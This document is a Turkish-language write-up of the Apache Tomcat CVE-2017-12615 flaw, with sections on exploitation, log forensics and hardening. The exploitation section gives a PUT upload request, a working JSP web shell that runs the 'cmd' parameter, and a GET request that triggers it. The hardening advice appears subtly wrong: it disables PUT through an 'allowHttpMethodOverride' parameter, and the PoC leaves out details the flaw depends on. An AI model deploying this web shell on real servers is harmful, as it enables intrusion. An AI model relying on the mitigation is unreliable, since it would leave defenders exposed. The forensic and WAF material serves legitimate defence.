CVE-2017-12615: Apache Tomcat on Windows Remote Code Execution Vulnerability
Zorluk Seviyesi: Orta | Kaynak: CISA KEV
Zafiyet Analizi ve Giriş
CVE-2017-12615, Apache Tomcat'in Windows işletim sistemi üzerinde çalışan sürümlerinde bulunduğu bilinen bir uzaktan kod yürütme (Remote Code Execution - RCE) zafiyetidir. Bu zafiyet, HTTP PUT yöntemi etkinleştirildiğinde, kötü niyetli kullanıcıların server'a özel olarak crafted (özel hazırlanmış) bir istek göndererek, JSP dosyası yüklemelerine olanak tanır. Yüklenen bu JSP dosyası, sunucudan daha sonra istenildiğinde çağrılabilir ve içindeki herhangi bir kod, sunucu tarafından yürütülebilir. Bu durum, saldırganların sistem üzerinde kontrol sağlamalarına, hassas verileri çalmalarına veya sunucuyu manipüle etmelerine yol açabilir.
Zafiyetin temel nedenlerinden biri, Apache Tomcat'in HTTP PUT özelliğinin belirli bir yapılandırma ve güvenlik önlemleri olmadan etkinleştirilmesidir. HTTP PUT, bir dosyayı sunucuya yüklemek için kullanılan bir HTTP yöntemidir ve eğer bu yöntem doğru bir şekilde ele alınmazsa, kötü niyetli kullanıcılar tarafından istismar edilebilir. Tomcat, varsayılan olarak PUT isteklerine izin verilmediği için, bu özellik genellikle sunucu yöneticileri tarafından sonradan etkinleştirilir. Ancak, bu durum zafiyetin suistimaline zemin hazırlayabilecek yanlış yapılandırmalara yol açabilir.
CVE-2017-12615'in etkisi oldukça geniştir ve dünya genelinde birçok sektörde ciddi güvenlik ihlallerine neden olmuştur. Özellikle web tabanlı uygulama geliştiren firmalar, kamu kurumları ve eğitim sektöründeki kuruluşlar bu zafiyetten etkilenmiştir. Zafiyetin istismar edilmesi, yalnızca hassas bilgilerin çalınmasıyla kalmaz; aynı zamanda kötü niyetli yazılımların (malware) sunucuya yüklenmesine, denial of service (Hizmetin kesilmesi - DoS) saldırıları gerçekleştirilmesine ve veri bütünlüğünün sağlanamamasına yol açabilir.
Gerçek dünya senaryolarında, bu tür bir zafiyetin istismarı, saldırganların kurumsal ağların derinliklerine girmesine, veri tabanlarına sızmasına veya ağ trafiğini dinlemesine imkan tanıyabilir. Örneğin, eğer bir şirkete ait web uygulaması bu zafiyetle etkileniyorsa, saldırganlar yalnızca basit bir JSP dosyası yükleyerek, sunucu üzerinde kendi zararlı yazılımlarını çalıştırabilir ve buradan ağ içerisindeki diğer sistemlere erişebilirler.
Sistem yöneticileri, bu tür bir zafiyetle karşılaşmamak için, Apache Tomcat sunucularının yapılandırmalarını dikkatlice gözden geçirmeli ve HTTP PUT özelliğini yalnızca gerekli olduğunda ve uygun güvenlik önlemleri alındığında etkinleştirmelidir. Ek olarak, sunucudaki yükleme dizinleri üzerinde sıkı erişim kontrolleri uygulanmalı ve yalnızca güvenilir kaynakların dosya yüklemesine izin verilmelidir.
Sonuç olarak, CVE-2017-12615 gibi uzaktan kod yürütme (RCE) zafiyetlerinin farkında olmak ve bu zafiyetlere karşı proaktif yaklaşmak, hem güvenliği sağlamak hem de organizasyonun itibarını korumak açısından son derece önemlidir. Saldırganların yapılandırma hatalarından yararlanmasına izin vermemek için sürekli olarak güvenlik güncellemelerini takip etmek ve gerekli yamaları uygulamak, güçlü bir güvenlik stratejisinin temel unsurlarından biridir.
Teknik Sömürü (Exploitation) ve PoC
Apache Tomcat, Java tabanlı uygulama sunucusu olarak geniş bir kullanıcı kitlesine sahiptir. Ancak, CVE-2017-12615 zafiyeti, özellikle Windows ortamlarında çalışan Apache Tomcat sunucularını hedef alarak uzaktan kod yürütme (Remote Code Execution – RCE) imkanına neden olabilmektedir. Bu zafiyet, HTTP PUT yönteminin etkin olduğu durumlarda, belirli bir HTTP isteği ile sunucuya JSP dosyaları yüklemeyi sağlamaktadır. Kötü niyetli bir saldırgan, bu olayı kötüye kullanarak sunucu üzerinde kendi kodlarını çalıştırabilir.
Bu tür bir zafiyeti sömürmek için öncelikle sistemin yapılandırmasını gözden geçirmek gerekir. Apache Tomcat'te HTTP PUT yönteminin etkin olup olmadığını kontrol edin. Bunu yaparken aşağıdaki HTTP isteğini kullanabilirsiniz:
PUT /upload/test.jsp HTTP/1.1
Host: target-server.com
Content-Type: application/javascript
Content-Length: <length>
<jsp code burada>
Eğer HTTP PUT yöntemi açık ve uygun izinler verilmişse, yukarıdaki istek başarılı bir şekilde yanıt alacaktır. Sunucu, istemciden gelen JSP dosyasını yükleyerek belirtilen dizinde kaydedecektir.
Sistem yöneticileri genellikle yükleme dizinlerine erişimi kısıtlamakta veya doğrulama mekanizmaları uygulamaktadırlar. Ancak, bu tür önlemlerin atlatılması durumunda, aşağıdaki tekniklerle bu açığı kullanarak hedefe ulaşmak mümkündür.
- JSP Dosyasının Yüklenmesi: Yukarıdaki isteği sağlam bir JSP dosyası ile göndermelisiniz. Aşağıda basit bir örnek verilmiştir:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
response.getWriter().println("Command executed: " + cmd);
}
%>
Bu JSP dosyası, bir komut parametresi aldığında bunu çalıştırmayı sağlar. Böylece, JSP dosyası sunucuya yüklendikten sonra kullanılabilir hale gelecektir.
- Yüklenen JSP Dosyasının Çalıştırılması: JSP dosyası yüklendikten sonra, onu çalıştırmak için aşağıdaki gibi bir HTTP GET isteği gönderebilirsiniz:
GET /upload/test.jsp?cmd=dir HTTP/1.1
Host: target-server.com
Bu istek, sunucuda cmd parametresi olarak dir komutunu çalıştıracaktır ve sonuç olarak dosya dizinlerini listeleyecektir.
- Kurumsal Ortamda Senaryo: Örneğin, bir kurumsal ağda çalışan Tomcat sunucusunun yanlış yapılandırıldığını varsayalım. HTTP PUT yöntemi açıksa, bir saldırgan, basit bir komut dosyası aracılığıyla sunucuda zararlı kod yüklerebilir. Sunucu üzerinde tam yetki kazanarak, veri sızdırma, sistem kontrolü veya daha kötü senaryolar hayata geçirilebilir.
Kurumsal güvenlik açıklarını kapatmak ve bu tür zafiyetlere karşı sistemlerinizi korumak için aşağıdaki önerileri dikkate almalısınız:
- HTTP PUT ve DELETE yöntemlerinin gereksiz yere açık olup olmadığını kontrol edin.
- Dosya yükleme dizinlerinde güvenlik önlemleri ve erişim kontrolleri uygulayın.
- Uygulama ve sunucu güncellemelerini düzenli olarak gerçekleştirin.
- Sunucularınızı izleyin ve olağan dışı aktiviteleri erken teşhis edin.
Sonuç olarak, Apache Tomcat üzerinde bulunan CVE-2017-12615 zafiyeti, kötü niyetli kişilerin sunucuya erişimini kolaylaştırmakta ve ciddi güvenlik sorunlarına yol açabilmektedir. Bu nedenle, sistem yöneticileri ve güvenlik uzmanları, bu tür açıkların kapatılması ve sistemlerin güvenli bir şekilde yapılandırılması adına özen göstermelidir.
Forensics (Adli Bilişim) ve Log Analizi
Apache Tomcat üzerindeki CVE-2017-12615 zafiyeti, kaynağı güvenilir olmayan HTTP PUT istekleri ile kötü niyetli bir kişinin, sunucuya zararlı JSP (JavaServer Pages) dosyaları yüklemesine olanak tanır. Bu durum, uzaktan kod yürütme (RCE - Remote Code Execution) açığına yol açarak, saldırganların sunucuda kendi kodlarını çalıştırmasına imkan tanır. Cyberspace’de bu tür bir güvenlik açığı, kötü niyetli bir aktör tarafından istismar edilen potansiyel olarak büyük bir risk oluşturur.
Siber güvenlik uzmanları, bu tür bir saldırının gerçekleştirildiğini anlamak için çeşitli log dosyalarını ve SIEM (Security Information and Event Management) sistemlerini analiz etmelidir. Öncelikle, Apache Tomcat'in ürettiği erişim logları (access log) kritik öneme sahiptir. Bu log dosyasında, özellikle HTTP PUT isteği olan kayıtlar incelenmelidir. Örneğin:
192.168.1.100 - - [11/Oct/2017:14:33:48 +0000] "PUT /app/uploaded_file.jsp HTTP/1.1" 201 0
Bu tür bir kayıt, saldırganın sunucuya bir JSP dosyası yüklediğini gösterir. Ayrıca, kaynak IP adresinin güvenilir olup olmadığını kontrol etmek önemlidir; eğer beklenmedik bir IP adresi veya konumdan PUT isteği geliyorsa bu, şüpheli bir durumu işaret edebilir.
Diğer önemli log dosyaları arasında hata logları (error log) yer alır. Hata logları, yüklenen dosyanın içeriği veya sunucu tarafından oluşturulan hata mesajları gibi bilgileri barındırır. Örneğin, aşağıdaki gibi bir hata kaydı, sunucuya zararlı bir dosyanın yüklendiğine dair belirtiler gösterebilir:
ERROR [org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/app]] Servlet.service() for servlet [jsp] threw exception
Böylesi bir hata, yüklü JSP dosyasının çalıştırılmaya çalışıldığını ve hata aldığını gösterebilir. Dolayısıyla, siber güvenlik uzmanları, hata loglarını dikkatlice incelemeli ve potansiyel JSP dosyalarıyla ilgili hataları not etmelidir.
SIEM sistemlerinde, anomali tespiti ve davranışsal analiz de oldukça önemlidir. Herhangi bir olağandışı HTTP PUT isteği, sunucunun normal davranışı dışında kabul edilebilir. Davranışsal analiz yapan bir SIEM, belirli bir IP adresinden gelen sürekli PUT isteklerini tespit edebilir ve bu durumu uzmanlara raporlayabilir.
Sonuç olarak, Apache Tomcat üzerindeki CVE-2017-12615 zafiyeti ciddi bir güvenlik riski taşırken, uzmanlar; log analizi yaparak ve imzaları belirleyerek (örneğin, belirli IP adreslerinden gelen şüpheli PUT istekleri) potansiyel saldırıları erken aşamada tanımlayabilir ve önlem alabilirler. Kötü niyetli yüklemelere karşı önleyici tedbirler almak için güncel güvenlik yamalarının uygulanması ve güvenlik duvarlarının (firewall) uygun şekilde yapılandırılması da önemlidir.
Savunma ve Sıkılaştırma (Hardening)
Apache Tomcat, yaygın olarak kullanılan bir web sunucusudur ve Windows üzerinde çalıştığında çeşitli güvenlik zafiyetlerine maruz kalabilir. CVE-2017-12615 zafiyeti, Apache Tomcat üzerinde HTTP PUT özelliği etkinleştirildiğinde ortaya çıkan bir uzaktan kod yürütme (Remote Code Execution - RCE) açığıdır. Bu tür bir zafiyet, kötü niyetli kullanıcıların sunucuya zararlı içerikler yüklemesine ve bu içeriklerin işlenmesiyle sunucu üzerinde istenmeyen kodların çalıştırılmasına imkan tanır. Bu nedenle, doğru savunma ve sıkılaştırma (hardening) önlemleri almak son derece önemlidir.
Bu açığı önlemek için ilk ve en etkili yol, HTTP PUT özelliğini devre dışı bırakmaktır. HTTP PUT, genellikle dosya yükleme gerektiren uygulamalar için kullanılır. Ancak, bu özellik güvenli bir şekilde yapılandırılmadığında, uzaktan kod yürütme saldırılarına kapı aralayabilir. Tomcat sunucunuzda bu özelliği devre dışı bırakmak için web.xml dosyasında aşağıdaki gibi bir yapılandırma yapılabilir:
<servlet>
<servlet-name>FileUpload</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>allowHttpMethodOverride</param-name>
<param-value>false</param-value>
</init-param>
</servlet>
Alternatif olarak, belirli dizinlere dosya yükleme yetkisini sınırlamak da önemlidir. Örneğin, sadece belirli kullanıcıların dosya yükleyebilmesi için kimlik doğrulama (authentication) ve yetkilendirme (authorization) önlemleri uygulanmalıdır. Tomcat üzerindeki kullanıcıların yetkilerini doğru bir şekilde ayarlamak, potansiyel saldırılara karşı bir zırh görevi görebilir.
Ek olarak, Web Application Firewall (WAF) kullanarak zararlı HTTP taleplerini engellemeyi düşünebilirsiniz. WAF temelli çözümler, belirli kurallar ve filtreleme teknikleri ile zararlı talepleri tespit edip engelleyebilir. Örneğin, aşağıdaki WAF kuralı, HTTP PUT isteklerini engelleyebilir:
SecRule REQUEST_METHOD "PUT" "id:1001,phase:1,deny,status:403,msg:'HTTP PUT is not allowed'"
Sürekli güncellemeler ve yamalar uygulayarak Tomcat versiyonunuzu en güncel durumda tutmak da önemlidir. Apache, her yeni sürümde bilinen zafiyetlere karşı düzeltmeler sağlamaktadır. Bu nedenle, güvenlik yamaları düzenli olarak uygulanmalıdır. Ayrıca, sunucunuzda çalışan diğer bileşenlerin de güvenlik güncellemeleri ile korunması gerekir.
Güvenlik tarayıcılarının kullanımı da başka bir önlem olabilir. Güvenlik tarayıcıları (security monitoring) sisteminizi sürekli izler ve herhangi bir şüpheli aktivite söz konusu olduğunda uyarılar yaparak hızlı müdahale etmenizi sağlar.
Son olarak, düzenli güvenlik testleri gerçekleştirmek ve sızma testi (penetration testing) uygulamak, sisteminizdeki zafiyetleri önceden tespit etmek ve gidermek için kritik önem taşır. Bu sayede, potansiyel saldırganların sunucunuza ulaşmadan önce zafiyetlerinizi kapatabilirsiniz.
Apache Tomcat sunucusunun güvenliğini sağlamak, ortama yapılacak siber saldırıları önlemek ve sistemin bütünlüğünü korumak için yukarıda belirtilen tüm önlemlerin dikkate alınması ve uygulanması gerekmektedir. Unutmayın, bir zaafiyetin varlığı, o sistemin güvenliğini tehlikeye atabilir; bu da veri ihlali (data breach), kötü şöhret ve finansal kayıplara yol açabilir.